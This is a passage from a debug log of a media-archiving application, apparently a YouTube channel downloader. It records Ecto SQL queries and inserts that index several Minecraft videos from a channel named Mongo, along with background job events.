s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:53.532 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:53.532 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140639] 19:42:53.532 [debug] Current batch of media processed. Will check again in 1000ms 19:42:54.533 [debug] Current batch of media processed. Will check again in 1000ms 19:42:55.480 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:55.534 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 969, "filename" => "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", "id" => "MQ_d8wvuqLU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MQ_d8wvuqLU", "playlist_index" => 5, "timestamp" => 1780074006, "title" => "This New Horror Mod Made Us CRY…", "upload_date" => "20260529"} 19:42:55.535 [debug] QUERY OK source="sources" db=0.2ms idle=255.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:55.535 [debug] QUERY OK source="sources" db=0.1ms idle=255.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:55.536 [debug] QUERY OK source="media_items" db=1.0ms idle=256.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 17:00:06Z], 31] 19:42:55.537 [debug] QUERY OK source="media_items" db=0.4ms idle=56.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "6731cff7-2f1a-41ee-9dd7-31e3ebeb72f1", "MQ_d8wvuqLU", false, "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, [], 969, false, 5, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, false, 98, ~U[2026-05-29 17:00:06Z], ~U[2026-06-02 23:42:55Z], ~U[2026-06-02 23:42:55Z], "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "MQ_d8wvuqLU", "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, 969, false, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, ~U[2026-05-29 17:00:06Z]] 19:42:55.538 [debug] QUERY OK source="sources" db=0.2ms idle=17.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:55.538 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:55.538 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140207] 19:42:55.539 [debug] Current batch of media processed. Will check again in 1000ms 19:42:56.539 [debug] Current batch of media processed. Will check again in 1000ms 19:42:57.540 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1064, "filename" => "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", "id" => "DQr3uoXq09E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DQr3uoXq09E", "playlist_index" => 6, "timestamp" => 1779989162, "title" => "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "upload_date" => "20260528"} 19:42:57.541 [debug] QUERY OK source="sources" db=0.3ms idle=261.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:42:57.542 [debug] QUERY OK source="sources" db=0.2ms idle=262.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:57.544 [debug] QUERY OK source="media_items" db=2.1ms idle=262.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 17:26:02Z], 31] 19:42:57.546 [debug] QUERY OK source="media_items" db=1.0ms idle=265.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "ac57b5c6-7db5-48fc-b68c-56798870d43a", "DQr3uoXq09E", false, "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, [], 1064, false, 6, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, false, 98, ~U[2026-05-28 17:26:02Z], ~U[2026-06-02 23:42:57Z], ~U[2026-06-02 23:42:57Z], "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "DQr3uoXq09E", "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, 1064, false, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, ~U[2026-05-28 17:26:02Z]] 19:42:57.546 [debug] QUERY OK source="sources" db=0.3ms idle=23.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:42:57.547 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:42:57.548 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139990] 19:42:57.548 [debug] Current batch of media processed. Will check again in 1000ms 19:42:58.549 [debug] Current batch of media processed. Will check again in 1000ms 19:42:59.550 [debug] Current batch of media processed. Will check again in 1000ms 19:43:00.551 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1050, "filename" => "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", "id" => "T3NuRrQoyYg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T3NuRrQoyYg", "playlist_index" => 7, "timestamp" => 1779901227, "title" => "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "upload_date" => "20260527"} 19:43:00.553 [debug] QUERY OK source="sources" db=0.5ms idle=1273.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:00.554 [debug] QUERY OK source="sources" db=0.5ms idle=1274.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:00.559 [debug] QUERY OK source="media_items" db=4.1ms idle=1275.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 17:00:27Z], 31] 19:43:00.562 [debug] QUERY OK source="media_items" db=1.9ms idle=1033.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "5f1a3899-2bf3-4714-8614-0989ac76360d", "T3NuRrQoyYg", false, "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, [], 1050, false, 7, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, false, 98, ~U[2026-05-27 17:00:27Z], ~U[2026-06-02 23:43:00Z], ~U[2026-06-02 23:43:00Z], "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "T3NuRrQoyYg", "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, 1050, false, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, ~U[2026-05-27 17:00:27Z]] 19:43:00.564 [debug] QUERY OK source="sources" db=0.9ms idle=34.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:00.565 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.1ms idle=11.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:00.567 [debug] QUERY OK source="media_items" db=1.0ms idle=12.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139775] 19:43:00.568 [debug] Current batch of media processed. Will check again in 1000ms 19:43:00.981 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:01.569 [debug] Current batch of media processed. Will check again in 1000ms 19:43:02.570 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 935, "filename" => "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", "id" => "yiadofzzi7Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yiadofzzi7Y", "playlist_index" => 8, "timestamp" => 1779814800, "title" => "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "upload_date" => "20260526"} 19:43:02.571 [debug] QUERY OK source="sources" db=0.3ms idle=291.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:02.572 [debug] QUERY OK source="sources" db=0.2ms idle=292.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:02.574 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=292.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 17:00:00Z], 31] 19:43:02.576 [debug] QUERY OK source="media_items" db=0.9ms idle=295.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "07e3d2e9-392d-4500-9a35-ef01153bcb0b", "yiadofzzi7Y", false, "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, [], 935, false, 8, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, false, 98, ~U[2026-05-26 17:00:00Z], ~U[2026-06-02 23:43:02Z], ~U[2026-06-02 23:43:02Z], "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "yiadofzzi7Y", "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, 935, false, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, ~U[2026-05-26 17:00:00Z]] 19:43:02.576 [debug] QUERY OK source="sources" db=0.2ms idle=45.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:02.576 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:02.577 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 